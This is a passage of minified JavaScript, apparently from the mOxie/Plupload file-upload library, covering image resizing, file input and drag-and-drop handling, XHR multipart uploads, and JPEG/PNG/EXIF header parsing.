n.DOMException(n.DOMException.INVALID_STATE_ERR);if(this.width>p.MAX_RESIZE_WIDTH||this.height>p.MAX_RESIZE_HEIGHT)throw new n.ImageError(n.ImageError.MAX_RESOLUTION_ERR);(!t&&!i||"undefined"===e.typeOf(r))&&(r=!1),t=t||this.width,i=i||this.height,o="undefined"===e.typeOf(o)?!0:!!o,this.getRuntime().exec.call(this,"Image","downsize",t,i,r,o)}catch(a){this.trigger("error",a)}},crop:function(e,t,n){this.downsize(e,t,!0,n)},getAsCanvas:function(){if(!u.can("create_canvas"))throw new n.RuntimeError(n.RuntimeError.NOT_SUPPORTED_ERR);var e=this.connectRuntime(this.ruid);return e.exec.call(this,"Image","getAsCanvas")},getAsBlob:function(e,t){if(!this.size)throw new n.DOMException(n.DOMException.INVALID_STATE_ERR);return e||(e="image/jpeg"),"image/jpeg"!==e||t||(t=90),this.getRuntime().exec.call(this,"Image","getAsBlob",e,t)},getAsDataURL:function(e,t){if(!this.size)throw new n.DOMException(n.DOMException.INVALID_STATE_ERR);return this.getRuntime().exec.call(this,"Image","getAsDataURL",e,t)},getAsBinaryString:function(e,t){var n=this.getAsDataURL(e,t);return f.atob(n.substring(n.indexOf("base64,")+7))},embed:function(i){function r(){if(u.can("create_canvas")){var t=a.getAsCanvas();if(t)return i.appendChild(t),t=null,a.destroy(),o.trigger("embedded"),void 0}var r=a.getAsDataURL(c,l);if(!r)throw new n.ImageError(n.ImageError.WRONG_FORMAT);if(u.can("use_data_uri_of",r.length))i.innerHTML='<img src="'+r+'" width="'+a.width+'" height="'+a.height+'" />',a.destroy(),o.trigger("embedded");else{var d=new s;d.bind("TransportingComplete",function(){v=o.connectRuntime(this.result.ruid),o.bind("Embedded",function(){e.extend(v.getShimContainer().style,{top:"0px",left:"0px",width:a.width+"px",height:a.height+"px"}),v=null},999),v.exec.call(o,"ImageView","display",this.result.uid,m,g),a.destroy()}),d.transport(f.atob(r.substring(r.indexOf("base64,")+7)),c,e.extend({},h,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:i}))}}var o=this,a,c,l,d,h=arguments[1]||{},m=this.width,g=this.height,v;try{if(!(i=t.get(i)))throw new n.DOMException(n.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new n.DOMException(n.DOMException.INVALID_STATE_ERR);if(this.width>p.MAX_RESIZE_WIDTH||this.height>p.MAX_RESIZE_HEIGHT)throw new n.ImageError(n.ImageError.MAX_RESOLUTION_ERR);if(c=h.type||this.type||"image/jpeg",l=h.quality||90,d="undefined"!==e.typeOf(h.crop)?h.crop:!1,h.width)m=h.width,g=h.height||m;else{var y=t.getSize(i);y.w&&y.h&&(m=y.w,g=y.h)}return a=new p,a.bind("Resize",function(){r.call(o)}),a.bind("Load",function(){a.downsize(m,g,d,!1)}),a.clone(this,!1),a}catch(w){this.trigger("error",w)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.unbindAll()}})}var h=["progress","load","error","resize","embedded"];return p.MAX_RESIZE_WIDTH=6500,p.MAX_RESIZE_HEIGHT=6500,p.prototype=c.instance,p}),i(D,[u,p,g,d],function(e,t,n,i){function r(t){var r=this,s=n.capTest,u=n.capTrue,c=e.extend({access_binary:s(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return r.can("access_binary")&&!!a.Image},display_media:s(i.can("create_canvas")||i.can("use_data_uri_over32kb")),do_cors:s(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:s(function(){var e=document.createElement("div");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&("IE"!==i.browser||i.version>9)}()),filter_by_extension:s(function(){return"Chrome"===i.browser&&i.version>=28||"IE"===i.browser&&i.version>=10}()),return_response_headers:u,return_response_type:function(e){return"json"===e&&window.JSON?!0:i.can("return_response_type",e)},return_status_code:u,report_upload_progress:s(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return r.can("access_binary")&&i.can("create_canvas")},select_file:function(){return i.can("use_fileinput")&&window.File},select_folder:function(){return r.can("select_file")&&"Chrome"===i.browser&&i.version>=21},select_multiple:function(){return!(!r.can("select_file")||"Safari"===i.browser&&"Windows"===i.os||"iOS"===i.os&&i.verComp(i.osVersion,"7.0.4","<"))},send_binary_string:s(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:s(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||r.can("send_binary_string")},slice_blob:s(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return r.can("slice_blob")&&r.can("send_multipart")},summon_file_dialog:s(function(){return"Firefox"===i.browser&&i.version>=4||"Opera"===i.browser&&i.version>=12||"IE"===i.browser&&i.version>=10||!!~e.inArray(i.browser,["Chrome","Safari"])}()),upload_filesize:u},arguments[2]);n.call(this,t,arguments[1]||o,c),e.extend(this,{init:function(){this.trigger("Init")},destroy:function(e){return function(){e.call(r),e=r=null}}(this.destroy)}),e.extend(this.getShim(),a)}var o="html5",a={};return n.addConstructor(o,r),a}),i(N,[D,y],function(e,t){function n(){function e(e,t,n){var i;if(!window.File.prototype.slice)return(i=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?i.call(e,t,n):null;try{return e.slice(),e.slice(t,n)}catch(r){return e.slice(t,n-t)}}this.slice=function(){return new t(this.getRuntime().uid,e.apply(this,arguments))}}return e.Blob=n}),i(L,[u],function(e){function t(){this.returnValue=!1}function n(){this.cancelBubble=!0}var i={},r="moxie_"+e.guid(),o=function(o,a,s,u){var c,l;a=a.toLowerCase(),o.addEventListener?(c=s,o.addEventListener(a,c,!1)):o.attachEvent&&(c=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=t,e.stopPropagation=n,s(e)},o.attachEvent("on"+a,c)),o[r]||(o[r]=e.guid()),i.hasOwnProperty(o[r])||(i[o[r]]={}),l=i[o[r]],l.hasOwnProperty(a)||(l[a]=[]),l[a].push({func:c,orig:s,key:u})},a=function(t,n,o){var a,s;if(n=n.toLowerCase(),t[r]&&i[t[r]]&&i[t[r]][n]){a=i[t[r]][n];for(var u=a.length-1;u>=0&&(a[u].orig!==o&&a[u].key!==o||(t.removeEventListener?t.removeEventListener(n,a[u].func,!1):t.detachEvent&&t.detachEvent("on"+n,a[u].func),a[u].orig=null,a[u].func=null,a.splice(u,1),o===s));u--);if(a.length||delete i[t[r]][n],e.isEmptyObj(i[t[r]])){delete i[t[r]];try{delete t[r]}catch(c){t[r]=s}}}},s=function(t,n){t&&t[r]&&e.each(i[t[r]],function(e,i){a(t,i,n)})};return{addEvent:o,removeEvent:a,removeAllEvents:s}}),i(M,[D,u,f,L,l,d],function(e,t,n,i,r,o){function a(){var e=[],a;t.extend(this,{init:function(s){var u=this,c=u.getRuntime(),l,d,f,p,h,m;a=s,e=[],f=a.accept.mimes||r.extList2mimes(a.accept,c.can("filter_by_extension")),d=c.getShimContainer(),d.innerHTML='<input id="'+c.uid+'" type="file" style="font-size:999px;opacity:0;"'+(a.multiple&&c.can("select_multiple")?"multiple":"")+(a.directory&&c.can("select_folder")?"webkitdirectory directory":"")+(f?' accept="'+f.join(",")+'"':"")+" />",l=n.get(c.uid),t.extend(l.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),p=n.get(a.browse_button),c.can("summon_file_dialog")&&("static"===n.getStyle(p,"position")&&(p.style.position="relative"),h=parseInt(n.getStyle(p,"z-index"),10)||1,p.style.zIndex=h,d.style.zIndex=h-1,i.addEvent(p,"click",function(e){var t=n.get(c.uid);t&&!t.disabled&&t.click(),e.preventDefault()},u.uid)),m=c.can("summon_file_dialog")?p:d,i.addEvent(m,"mouseover",function(){u.trigger("mouseenter")},u.uid),i.addEvent(m,"mouseout",function(){u.trigger("mouseleave")},u.uid),i.addEvent(m,"mousedown",function(){u.trigger("mousedown")},u.uid),i.addEvent(n.get(a.container),"mouseup",function(){u.trigger("mouseup")},u.uid),l.onchange=function g(){if(e=[],a.directory?t.each(this.files,function(t){"."!==t.name&&e.push(t)}):e=[].slice.call(this.files),"IE"!==o.browser)this.value="";else{var n=this.cloneNode(!0);this.parentNode.replaceChild(n,this),n.onchange=g}u.trigger("change")},u.trigger({type:"ready",async:!0}),d=null},getFiles:function(){return e},disable:function(e){var t=this.getRuntime(),i;(i=n.get(t.uid))&&(i.disabled=!!e)},destroy:function(){var t=this.getRuntime(),r=t.getShim(),o=t.getShimContainer();i.removeAllEvents(o,this.uid),i.removeAllEvents(a&&n.get(a.container),this.uid),i.removeAllEvents(a&&n.get(a.browse_button),this.uid),o&&(o.innerHTML=""),r.removeInstance(this.uid),e=a=o=r=null}})}return e.FileInput=a}),i(C,[D,u,f,L,l],function(e,t,n,i,r){function o(){function e(e){for(var n=[],i=0;i<e.length;i++)[].push.apply(n,e[i].extensions.split(/\s*,\s*/));return-1===t.inArray("*",n)?n:[]}function o(e){var n=r.getFileExtension(e.name);return!n||!d.length||-1!==t.inArray(n,d)}function a(e,n){var i=[];t.each(e,function(e){var t=e.webkitGetAsEntry();if(t)if(t.isFile){var n=e.getAsFile();o(n)&&l.push(n)}else i.push(t)}),i.length?s(i,n):n()}function s(e,n){var i=[];t.each(e,function(e){i.push(function(t){u(e,t)})}),t.inSeries(i,function(){n()})}function u(e,t){e.isFile?e.file(function(e){o(e)&&l.push(e),t()},function(){t()}):e.isDirectory?c(e,t):t()}function c(e,t){function n(e){r.readEntries(function(t){t.length?([].push.apply(i,t),n(e)):e()},e)}var i=[],r=e.createReader();n(function(){s(i,t)})}var l=[],d=[],f;t.extend(this,{init:function(n){var r=this,s;f=n,d=e(f.accept),s=f.container,i.addEvent(s,"dragover",function(e){e.preventDefault(),e.stopPropagation(),e.dataTransfer.dropEffect="copy"},r.uid),i.addEvent(s,"drop",function(e){e.preventDefault(),e.stopPropagation(),l=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?a(e.dataTransfer.items,function(){r.trigger("drop")}):(t.each(e.dataTransfer.files,function(e){o(e)&&l.push(e)}),r.trigger("drop"))},r.uid),i.addEvent(s,"dragenter",function(e){e.preventDefault(),e.stopPropagation(),r.trigger("dragenter")},r.uid),i.addEvent(s,"dragleave",function(e){e.preventDefault(),e.stopPropagation(),r.trigger("dragleave")},r.uid)},getFiles:function(){return l},destroy:function(){i.removeAllEvents(f&&n.get(f.container),this.uid),l=d=f=null}})}return e.FileDrop=o}),i(F,[D,m,u],function(e,t,n){function i(){function e(e){return t.atob(e.substring(e.indexOf("base64,")+7))}var i,r=!1;n.extend(this,{read:function(e,t){var o=this;i=new window.FileReader,i.addEventListener("progress",function(e){o.trigger(e)}),i.addEventListener("load",function(e){o.trigger(e)}),i.addEventListener("error",function(e){o.trigger(e,i.error)}),i.addEventListener("loadend",function(){i=null}),"function"===n.typeOf(i[e])?(r=!1,i[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,i.readAsDataURL(t.getSource()))},getResult:function(){return i&&i.result?r?e(i.result):i.result:null},abort:function(){i&&i.abort()},destroy:function(){i=null}})}return e.FileReader=i}),i(H,[D,u,l,b,w,y,S,p,d],function(e,t,n,i,r,o,a,s,u){function c(){function e(e,t){var n=this,i,r;i=t.getBlob().getSource(),r=new window.FileReader,r.onload=function(){t.append(t.getBlobName(),new o(null,{type:i.type,data:r.result})),f.send.call(n,e,t)},r.readAsBinaryString(i)}function c(){return!window.XMLHttpRequest||"IE"===u.browser&&u.version<8?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(n){}}():new window.XMLHttpRequest}function l(e){var t=e.responseXML,n=e.responseText;return"IE"===u.browser&&n&&t&&!t.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(e.getResponseHeader("Content-Type"))&&(t=new window.ActiveXObject("Microsoft.XMLDOM"),t.async=!1,t.validateOnParse=!1,t.loadXML(n)),t&&("IE"===u.browser&&0!==t.parseError||!t.documentElement||"parsererror"===t.documentElement.tagName)?null:t}function d(e){var t="----moxieboundary"+(new Date).getTime(),n="--",i="\r\n",r="",a=this.getRuntime();if(!a.can("send_binary_string"))throw new s.RuntimeError(s.RuntimeError.NOT_SUPPORTED_ERR);return p.setRequestHeader("Content-Type","multipart/form-data; boundary="+t),e.each(function(e,a){r+=e instanceof o?n+t+i+'Content-Disposition: form-data; name="'+a+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+i+"Content-Type: "+(e.type||"application/octet-stream")+i+i+e.getSource()+i:n+t+i+'Content-Disposition: form-data; name="'+a+'"'+i+i+unescape(encodeURIComponent(e))+i}),r+=n+t+n+i}var f=this,p,h;t.extend(this,{send:function(n,r){var s=this,l="Mozilla"===u.browser&&u.version>=4&&u.version<7,f="Android Browser"===u.browser,m=!1;if(h=n.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),p=c(),p.open(n.method,n.url,n.async,n.user,n.password),r instanceof o)r.isDetached()&&(m=!0),r=r.getSource();else if(r instanceof a){if(r.hasBlob())if(r.getBlob().isDetached())r=d.call(s,r),m=!0;else if((l||f)&&"blob"===t.typeOf(r.getBlob().getSource())&&window.FileReader)return e.call(s,n,r),void 0;if(r instanceof a){var g=new window.FormData;r.each(function(e,t){e instanceof o?g.append(t,e.getSource()):g.append(t,e)}),r=g}}p.upload?(n.withCredentials&&(p.withCredentials=!0),p.addEventListener("load",function(e){s.trigger(e)}),p.addEventListener("error",function(e){s.trigger(e)}),p.addEventListener("progress",function(e){s.trigger(e)}),p.upload.addEventListener("progress",function(e){s.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):p.onreadystatechange=function v(){switch(p.readyState){case 1:break;case 2:break;case 3:var e,t;try{i.hasSameOrigin(n.url)&&(e=p.getResponseHeader("Content-Length")||0),p.responseText&&(t=p.responseText.length)}catch(r){e=t=0}s.trigger({type:"progress",lengthComputable:!!e,total:parseInt(e,10),loaded:t});break;case 4:p.onreadystatechange=function(){},0===p.status?s.trigger("error"):s.trigger("load")}},t.isEmptyObj(n.headers)||t.each(n.headers,function(e,t){p.setRequestHeader(t,e)}),""!==n.responseType&&"responseType"in p&&(p.responseType="json"!==n.responseType||u.can("return_response_type","json")?n.responseType:"text"),m?p.sendAsBinary?p.sendAsBinary(r):function(){for(var e=new Uint8Array(r.length),t=0;t<r.length;t++)e[t]=255&r.charCodeAt(t);p.send(e.buffer)}():p.send(r),s.trigger("loadstart")},getStatus:function(){try{if(p)return p.status}catch(e){}return 0},getResponse:function(e){var t=this.getRuntime();try{switch(e){case"blob":var i=new r(t.uid,p.response),o=p.getResponseHeader("Content-Disposition");if(o){var a=o.match(/filename=([\'\"'])([^\1]+)\1/);a&&(h=a[2])}return i.name=h,i.type||(i.type=n.getFileMime(h)),i;case"json":return u.can("return_response_type","json")?p.response:200===p.status&&window.JSON?JSON.parse(p.responseText):null;case"document":return l(p);default:return""!==p.responseText?p.responseText:null}}catch(s){return null}},getAllResponseHeaders:function(){try{return p.getAllResponseHeaders()}catch(e){}return""},abort:function(){p&&p.abort()},destroy:function(){f=h=null}})}return e.XMLHttpRequest=c}),i(P,[],function(){return function(){function e(e,t){var n=r?0:-8*(t-1),i=0,a;for(a=0;t>a;a++)i|=o.charCodeAt(e+a)<<Math.abs(n+8*a);return i}function n(e,t,n){n=3===arguments.length?n:o.length-t-1,o=o.substr(0,t)+e+o.substr(n+t)}function i(e,t,i){var o="",a=r?0:-8*(i-1),s;for(s=0;i>s;s++)o+=String.fromCharCode(255&t>>Math.abs(a+8*s));n(o,e,i)}var r=!1,o;return{II:function(e){return e===t?r:(r=e,void 0)},init:function(e){r=!1,o=e},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return o.substr(e,o.length-e-1);case 2:return o.substr(e,t);case 3:n(i,e,t);break;default:return o}},BYTE:function(t){return e(t,1)},SHORT:function(t){return e(t,2)},LONG:function(n,r){return r===t?e(n,4):(i(n,r,4),void 0)},SLONG:function(t){var n=e(t,4);return n>2147483647?n-4294967296:n},STRING:function(t,n){var i="";for(n+=t;n>t;t++)i+=String.fromCharCode(e(t,1));return i}}}}),i(k,[P],function(e){return function t(n){var i=[],r,o,a,s=0;if(r=new e,r.init(n),65496===r.SHORT(0)){for(o=2;o<=n.length;)if(a=r.SHORT(o),a>=65488&&65495>=a)o+=2;else{if(65498===a||65497===a)break;s=r.SHORT(o+2)+2,a>=65505&&65519>=a&&i.push({hex:a,name:"APP"+(15&a),start:o,length:s,segment:r.SEGMENT(o,s)}),o+=s}return r.init(null),{headers:i,restore:function(e){var t,n;for(r.init(e),o=65504==r.SHORT(2)?4+r.SHORT(4):2,n=0,t=i.length;t>n;n++)r.SEGMENT(o,0,i[n].segment),o+=i[n].length;return e=r.SEGMENT(),r.init(null),e},strip:function(e){var n,i,o;for(i=new t(e),n=i.headers,i.purge(),r.init(e),o=n.length;o--;)r.SEGMENT(n[o].start,n[o].length,"");return e=r.SEGMENT(),r.init(null),e},get:function(e){for(var t=[],n=0,r=i.length;r>n;n++)i[n].name===e.toUpperCase()&&t.push(i[n].segment);return t},set:function(e,t){var n=[],r,o,a;for("string"==typeof t?n.push(t):n=t,r=o=0,a=i.length;a>r&&(i[r].name===e.toUpperCase()&&(i[r].segment=n[o],i[r].length=n[o].length,o++),!(o>=n.length));r++);},purge:function(){i=[],r.init(null),r=null}}}}}),i(U,[u,P],function(e,n){return function i(){function i(e,n){var i=a.SHORT(e),r,o,s,u,d,f,p,h,m=[],g={};for(r=0;i>r;r++)if(p=f=e+12*r+2,s=n[a.SHORT(p)],s!==t){switch(u=a.SHORT(p+=2),d=a.LONG(p+=2),p+=4,m=[],u){case 1:case 7:for(d>4&&(p=a.LONG(p)+c.tiffHeader),o=0;d>o;o++)m[o]=a.BYTE(p+o);break;case 2:d>4&&(p=a.LONG(p)+c.tiffHeader),g[s]=a.STRING(p,d-1);continue;case 3:for(d>2&&(p=a.LONG(p)+c.tiffHeader),o=0;d>o;o++)m[o]=a.SHORT(p+2*o);break;case 4:for(d>1&&(p=a.LONG(p)+c.tiffHeader),o=0;d>o;o++)m[o]=a.LONG(p+4*o);break;case 5:for(p=a.LONG(p)+c.tiffHeader,o=0;d>o;o++)m[o]=a.LONG(p+4*o)/a.LONG(p+4*o+4);break;case 9:for(p=a.LONG(p)+c.tiffHeader,o=0;d>o;o++)m[o]=a.SLONG(p+4*o);break;case 10:for(p=a.LONG(p)+c.tiffHeader,o=0;d>o;o++)m[o]=a.SLONG(p+4*o)/a.SLONG(p+4*o+4);break;default:continue}h=1==d?m[0]:m,g[s]=l.hasOwnProperty(s)&&"object"!=typeof h?l[s][h]:h}return g}function r(){var e=c.tiffHeader;return a.II(18761==a.SHORT(e)),42!==a.SHORT(e+=2)?!1:(c.IFD0=c.tiffHeader+a.LONG(e+=2),u=i(c.IFD0,s.tiff),"ExifIFDPointer"in u&&(c.exifIFD=c.tiffHeader+u.ExifIFDPointer,delete u.ExifIFDPointer),"GPSInfoIFDPointer"in u&&(c.gpsIFD=c.tiffHeader+u.GPSInfoIFDPointer,delete u.GPSInfoIFDPointer),!0)}function o(e,t,n){var i,r,o,u=0;if("string"==typeof t){var l=s[e.toLowerCase()];for(var d in l)if(l[d]===t){t=d;break}}i=c[e.toLowerCase()+"IFD"],r=a.SHORT(i);for(var f=0;r>f;f++)if(o=i+12*f+2,a.SHORT(o)==t){u=o+8;break}return u?(a.LONG(u,n),!0):!1}var a,s,u,c={},l;return a=new n,s={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"}},l={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire.",1:"Flash fired.",5:"Strobe return light not detected.",7:"Strobe return light detected.",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},{init:function(e){return c={tiffHeader:10},e!==t&&e.length?(a.init(e),65505===a.SHORT(0)&&"EXIF\0"===a.STRING(4,5).toUpperCase()?r():!1):!1
+},TIFF:function(){return u},EXIF:function(){var t;if(t=i(c.exifIFD,s.exif),t.ExifVersion&&"array"===e.typeOf(t.ExifVersion)){for(var n=0,r="";n<t.ExifVersion.length;n++)r+=String.fromCharCode(t.ExifVersion[n]);t.ExifVersion=r}return t},GPS:function(){var t;return t=i(c.gpsIFD,s.gps),t.GPSVersionID&&"array"===e.typeOf(t.GPSVersionID)&&(t.GPSVersionID=t.GPSVersionID.join(".")),t},setExif:function(e,t){return"PixelXDimension"!==e&&"PixelYDimension"!==e?!1:o("exif",e,t)},getBinary:function(){return a.SEGMENT()},purge:function(){a.init(null),a=u=null,c={}}}}}),i(B,[u,p,k,P,U],function(e,t,n,i,r){function o(o){function a(){for(var e=0,t,n;e<=u.length;){if(t=c.SHORT(e+=2),t>=65472&&65475>=t)return e+=5,{height:c.SHORT(e),width:c.SHORT(e+=2)};n=c.SHORT(e+=2),e+=n-2}return null}function s(){d&&l&&c&&(d.purge(),l.purge(),c.init(null),u=f=l=d=c=null)}var u,c,l,d,f,p;if(u=o,c=new i,c.init(u),65496!==c.SHORT(0))throw new t.ImageError(t.ImageError.WRONG_FORMAT);l=new n(o),d=new r,p=!!d.init(l.get("app1")[0]),f=a.call(this),e.extend(this,{type:"image/jpeg",size:u.length,width:f&&f.width||0,height:f&&f.height||0,setExif:function(t,n){return p?("object"===e.typeOf(t)?e.each(t,function(e,t){d.setExif(t,e)}):d.setExif(t,n),l.set("app1",d.getBinary()),void 0):!1},writeHeaders:function(){return arguments.length?l.restore(arguments[0]):u=l.restore(u)},stripHeaders:function(e){return l.strip(e)},purge:function(){s.call(this)}}),p&&(this.meta={tiff:d.TIFF(),exif:d.EXIF(),gps:d.GPS()})}return o}),i(z,[p,u,P],function(e,t,n){function i(i){function r(){var e,t;return e=a.call(this,8),"IHDR"==e.type?(t=e.start,{width:u.LONG(t),height:u.LONG(t+=4)}):null}function o(){u&&(u.init(null),s=d=c=l=u=null)}function a(e){var t,n,i,r;return t=u.LONG(e),n=u.STRING(e+=4,4),i=e+=4,r=u.LONG(e+t),{length:t,type:n,start:i,CRC:r}}var s,u,c,l,d;s=i,u=new n,u.init(s),function(){var t=0,n=0,i=[35152,20039,3338,6666];for(n=0;n<i.length;n++,t+=2)if(i[n]!=u.SHORT(t))throw new e.ImageError(e.ImageError.WRONG_FORMAT)}(),d=r.call(this),t.extend(this,{type:"image/png",size:s.length,width:d.width,height:d.height,purge:function(){o.call(this)}}),o.call(this)}return i}),i(G,[u,p,B,z],function(e,t,n,i){return function(r){var o=[n,i],a;a=function(){for(var e=0;e<o.length;e++)try{return new o[e](r)}catch(n){}throw new t.ImageError(t.ImageError.WRONG_FORMAT)}(),e.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){}}),e.extend(this,a),this.purge=function(){a.purge(),a=null}}}),i(q,[],function(){function e(e,i,r){var o=e.naturalWidth,a=e.naturalHeight,s=r.width,u=r.height,c=r.x||0,l=r.y||0,d=i.getContext("2d");t(e)&&(o/=2,a/=2);var f=1024,p=document.createElement("canvas");p.width=p.height=f;for(var h=p.getContext("2d"),m=n(e,o,a),g=0;a>g;){for(var v=g+f>a?a-g:f,y=0;o>y;){var w=y+f>o?o-y:f;h.clearRect(0,0,f,f),h.drawImage(e,-y,-g);var E=y*s/o+c<<0,_=Math.ceil(w*s/o),x=g*u/a/m+l<<0,R=Math.ceil(v*u/a/m);d.drawImage(p,0,0,w,v,E,x,_,R),y+=f}g+=f}p=h=null}function t(e){var t=e.naturalWidth,n=e.naturalHeight;if(t*n>1048576){var i=document.createElement("canvas");i.width=i.height=1;var r=i.getContext("2d");return r.drawImage(e,-t+1,0),0===r.getImageData(0,0,1,1).data[3]}return!1}function n(e,t,n){var i=document.createElement("canvas");i.width=1,i.height=n;var r=i.getContext("2d");r.drawImage(e,0,0);for(var o=r.getImageData(0,0,1,n).data,a=0,s=n,u=n;u>a;){var c=o[4*(u-1)+3];0===c?s=u:a=u,u=s+a>>1}i=null;var l=u/n;return 0===l?1:l}return{isSubsampled:t,renderTo:e}}),i(X,[D,u,p,m,w,G,q,l,d],function(e,t,n,i,r,o,a,s,u){function c(){function e(){if(!E&&!y)throw new n.ImageError(n.DOMException.INVALID_STATE_ERR);return E||y}function c(e){return i.atob(e.substring(e.indexOf("base64,")+7))}function l(e,t){return"data:"+(t||"")+";base64,"+i.btoa(e)}function d(e){var t=this;y=new Image,y.onerror=function(){g.call(this),t.trigger("error",new n.ImageError(n.ImageError.WRONG_FORMAT))},y.onload=function(){t.trigger("load")},y.src=/^data:[^;]*;base64,/.test(e)?e:l(e,x.type)}function f(e,t){var i=this,r;return window.FileReader?(r=new FileReader,r.onload=function(){t(this.result)},r.onerror=function(){i.trigger("error",new n.FileException(n.FileException.NOT_READABLE_ERR))},r.readAsDataURL(e),void 0):t(e.getAsDataURL())}function p(n,i,r,o){var a=this,s,u,c=0,l=0,d,f,p,g;if(b=o,g=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1,-1!==t.inArray(g,[5,6,7,8])){var v=n;n=i,i=v}return d=e(),u=r?Math.max:Math.min,s=u(n/d.width,i/d.height),s>1&&(!r||o)?(this.trigger("Resize"),void 0):(E||(E=document.createElement("canvas")),f=Math.round(d.width*s),p=Math.round(d.height*s),r?(E.width=n,E.height=i,f>n&&(c=Math.round((f-n)/2)),p>i&&(l=Math.round((p-i)/2))):(E.width=f,E.height=p),b||m(E.width,E.height,g),h.call(this,d,E,-c,-l,f,p),this.width=E.width,this.height=E.height,R=!0,a.trigger("Resize"),void 0)}function h(e,t,n,i,r,o){if("iOS"===u.OS)a.renderTo(e,t,{width:r,height:o,x:n,y:i});else{var s=t.getContext("2d");s.drawImage(e,n,i,r,o)}}function m(e,t,n){switch(n){case 5:case 6:case 7:case 8:E.width=t,E.height=e;break;default:E.width=e,E.height=t}var i=E.getContext("2d");switch(n){case 2:i.translate(e,0),i.scale(-1,1);break;case 3:i.translate(e,t),i.rotate(Math.PI);break;case 4:i.translate(0,t),i.scale(1,-1);break;case 5:i.rotate(.5*Math.PI),i.scale(1,-1);break;case 6:i.rotate(.5*Math.PI),i.translate(0,-t);break;case 7:i.rotate(.5*Math.PI),i.translate(e,-t),i.scale(-1,1);break;case 8:i.rotate(-.5*Math.PI),i.translate(-e,0)}}function g(){w&&(w.purge(),w=null),_=y=E=x=null,R=!1}var v=this,y,w,E,_,x,R=!1,b=!0;t.extend(this,{loadFromBlob:function(e){var t=this,i=t.getRuntime(),r=arguments.length>1?arguments[1]:!0;if(!i.can("access_binary"))throw new n.RuntimeError(n.RuntimeError.NOT_SUPPORTED_ERR);return x=e,e.isDetached()?(_=e.getSource(),d.call(this,_),void 0):(f.call(this,e.getSource(),function(e){r&&(_=c(e)),d.call(t,e)}),void 0)},loadFromImage:function(e,t){this.meta=e.meta,x=new r(null,{name:e.name,size:e.size,type:e.type}),d.call(this,t?_=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var 